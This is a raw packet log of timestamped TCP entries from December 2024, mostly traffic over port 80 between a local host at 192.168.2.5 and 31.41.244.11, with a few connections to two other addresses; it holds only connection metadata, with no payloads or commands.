Dec 20, 2024 02:11:40.108917952 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.108936071 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.108982086 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.110507011 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.110548019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.110867023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.110918045 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.112226009 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.112277985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.112804890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.112850904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.114032984 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.114078045 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.201929092 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:40.204746008 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.204840899 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.206032991 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.206059933 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.206568956 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.207948923 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.208035946 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.208049059 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.218542099 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.218579054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.218626022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.218626022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.219283104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.219357014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.219382048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.219439030 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.221044064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.221107960 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.221690893 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.221744061 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.221967936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.222028971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.223373890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.223434925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.223581076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.223638058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.225145102 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.225209951 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.225431919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.225492001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.226852894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.226907015 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.226995945 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.227051973 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.228581905 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.228635073 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.229281902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.229334116 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.230160952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.230238914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.230300903 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.230350018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.231785059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.231847048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.231861115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.231914043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.233402014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.233472109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.233603954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.233661890 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.234935999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.234994888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.235284090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.235351086 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.236476898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.236530066 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.236861944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.236912012 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.237968922 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.238118887 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.238655090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.238708019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.239479065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.239532948 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.239645004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.239696026 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.241027117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.241080046 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.241491079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.241545916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.242532969 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.242594004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.242758036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.242814064 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.244050980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.244110107 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.244239092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.244328022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.245577097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.245634079 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.246010065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.246061087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.247083902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.247139931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.247256994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.247309923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.248622894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.248673916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.249115944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.249167919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.250098944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.250144958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.250204086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.250258923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.251590014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.251651049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.251971006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.252029896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.253072023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.253125906 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.253921032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.253977060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.254702091 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.254760027 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.254807949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.254862070 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.256177902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.256232023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.256361008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.256408930 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.257625103 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.257699966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.257935047 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.257991076 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.259428978 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.259489059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.259682894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.259733915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.260972023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.261030912 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.261960983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.262017965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.262161970 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.262197971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.262216091 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.262243032 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.263756037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.263812065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.264328003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.264379025 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.265332937 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.265367985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.265383959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.265424967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.266802073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.266868114 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.267904043 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.267971039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.268887997 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.268937111 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.269248009 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.269296885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.269737959 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.269773006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.269785881 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.269812107 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.271501064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.271548033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.272279978 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.272335052 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.272777081 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.272823095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.272938967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.272986889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.274266005 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.274324894 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.274745941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.274796963 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.275881052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.275933981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.276177883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.276226997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.277312040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.277364969 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.277436972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.277487040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.278810024 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.278871059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.279580116 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.279629946 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.280314922 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.280364037 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.280453920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.280502081 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.281897068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.281958103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.282037973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.282088041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.283349037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.283400059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.283570051 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.283620119 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.284835100 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.284888029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.285299063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.285346985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.286369085 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.286417961 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.286457062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.286509991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.287867069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.287925005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.289392948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.289427042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.289458036 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.289515018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.289534092 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.289578915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.290931940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.290992022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.291135073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.291187048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.292403936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.292462111 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.292546988 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.292597055 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.293895006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.293956041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.294045925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.294097900 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.295442104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.295506001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.296966076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.296998978 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.297034979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.297060966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.410465956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.410511971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.410530090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.410573006 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.411118031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.411154985 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.411278963 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.411323071 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.412390947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.412432909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.412576914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.412612915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.413697004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.413733006 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.413852930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.413903952 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.415000916 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.415038109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.415273905 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.415308952 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.416235924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.416279078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.416313887 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.416359901 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.417570114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.417614937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.417781115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.417825937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.418761015 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.418802977 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.419008017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.419045925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.420037985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.420087099 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.420090914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.420136929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.421241045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.421287060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.421396017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.421442032 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.422473907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.422545910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.422916889 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.422965050 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.423732042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.423774004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.423866034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.423918009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.424990892 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.425040007 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.425179005 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.425225973 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.426198006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.426249981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.426615000 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.426665068 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.427428961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.427472115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.427819014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.427862883 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.428704023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.428750038 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.428832054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.428874969 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.429857969 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.429904938 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.430335045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.430372953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.431133986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.431170940 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.431596994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.431631088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.432424068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.432466984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.432502031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.432540894 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.433624029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.433662891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.433955908 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.433994055 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.434844017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.434891939 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.435112953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.435148954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.436053038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.436093092 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.436269045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.436315060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.437264919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.437311888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.437485933 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.437527895 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.438499928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.438541889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.438843966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.438889980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.439742088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.439781904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.439958096 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.439990997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.440973997 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.441018105 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.441023111 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.441057920 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.442205906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.442250013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.442434072 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.442471027 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.443480968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.443516016 CET	49917	80	192.168.2.5	31.41.244.11
